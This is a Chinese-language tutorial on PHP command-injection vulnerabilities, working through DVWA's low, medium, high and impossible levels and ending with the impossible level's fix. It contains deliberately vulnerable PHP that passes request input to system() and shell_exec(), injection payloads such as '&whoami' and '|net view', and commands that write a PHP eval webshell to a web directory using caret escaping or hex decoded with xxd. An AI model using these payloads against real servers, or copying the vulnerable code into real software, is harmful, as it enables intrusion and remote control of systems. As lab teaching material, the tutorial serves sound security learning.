命令执行漏洞及其修复策略

慢就是快,少就是多
万事皆是代码所起

漏洞原理

在操作系统中,”&、|、||”都可以作为命令连接符使用,用户通过浏览器提交执行命令,由于服务器端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令。然后我们通过这些命令连接符批量执行多条命令。
在命令执行中,常用的命令连接符号有四个:&& & || | ;

‘&&’:前一个指令执行成功,后面的指令才继续执行,就像进行与操作一样
‘||’:前一个命令执行失败,后面的才继续执行,类似于或操作
‘&’:直接连接多个命令
‘|’:管道符,将前一个命令的输出作为下一个命令的输入
‘;’:直接连接多个命令

产生原因

应用有时需要调用一些执行系统命令的函数
如PHP中的system、exec、shell_exec、passthru、popen、proc_popen等,当用户能控制这些函数中的参数时,就可以将恶意系统命令拼接到正常命令中,从而造成命令执行攻击,这就是命令执行漏洞。
下面将一一介绍这些函数

1
2
3
4
5
6
7
8
9
10
11
system (string $command [, int &$return_var ] ):本函数执行 command 参数所指定的命令, 并且输出执行结果。

exec(exec ( string $command [, array &$output [, int &$return_var ]] )):本函数执行 command 参数所指定的命令, 并且输出执行结果。

shell_exec ( string $cmd ):shell_exec — Execute command via shell and return the complete output as a string

passthru():只调用命令,把命令的运行结果原样地直接输出到标准输出设备上。作用同上

popen():使用 command 参数打开进程文件指针。如果出错,该函数返回 FALSE。

proc_():执行一个命令,并且打开用来输入/输出的文件指针

演示:

编写代码如下 test.php:

1
2
3
4
5
6
7
8
9
10
<?php

$arg = $_GET['cmd'];
if($arg){

system("$arg");

}

?>

然后就有这样的结果

dvwa的command-injection

command-injection-low

然后payload为

1
192.168.43.40&whoami


然后我们分析其源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php 

if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];

// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}

// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}

?>

这里未对输入的值进行任何过滤。

command-injection-medium

基本没什么用,这里的过滤

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php 

if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];

// Set blacklist
$substitutions = array(
'&&' => '',
';' => '',
);

// Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );

// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}

// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}

?>

command-injection-high

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php 

if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = trim($_REQUEST[ 'ip' ]);

// Set blacklist
$substitutions = array(
'&' => '',
';' => '',
'| ' => '',
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
'||' => '',
);

// Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );

// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}

// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}

?>

仔细查看代码发现”|”后面有个空格,因此当输入”127.0.0.1|net view”,一样可以攻击,” |”是管道符,意思是将前者处理后的结果作为参数传给后者。

命令执行利用及绕过姿势 

写入webshell:

利用命令注入写一句话php webshell到web目录涉及到一些特殊字符的转义,假设需要写入,

1
2
3
<?php 
eval($_POST[kang]);
?>

方法如下:

WINDOWS:用^转义<,即执行 :

1
echo ^<?php eval($_POST[kang]); ?^> > web可写目录加文件完整名字

有test.php为:

1
2
3
4
<?php
$cmd=$_GET["name"];
echo shell_exec($cmd);
?>

然后写入payload为:

1
?name=echo ^<?php eval($_POST[kang]); ?^> > C:\phpStudy\PHPTutorial\WWW\dododo.php

linux下需要用\来转义<,不过很多php都默认开启gpc(魔术引号magic_quotes_gpc())。
可以先用16进制转换一句话再用xxd命令把16进制还原,命令如下:

1
echo 3c3f706870206576616c28245f504f53545b6b616e675d293b203f3e|xxd -r -ps > web可写目录加文件完整名字

命令执行漏洞修复

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42

<?php

if( isset( $_POST[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

// Get input
$target = $_REQUEST[ 'ip' ];
$target = stripslashes( $target );

// Split the IP into 4 octects
$octet = explode( ".", $target );

// Check IF each octet is an integer
if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {
// If all 4 octets are int's put the IP back together.
$target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];

// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}

// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}
else {
// Ops. Let the user name theres a mistake
echo '<pre>ERROR: You have entered an invalid IP.</pre>';
}
}

// Generate Anti-CSRF token
generateSessionToken();

?>

这里放上dvwa-impossible的代码,学习一下:
这里的两个机制,主要是ANti-CSRF机制,以及使用explode(),还有is_numeric()函数进行IP地址的检查

参考文章:https://www.cnblogs.com/drkang/p/8688481.html

0%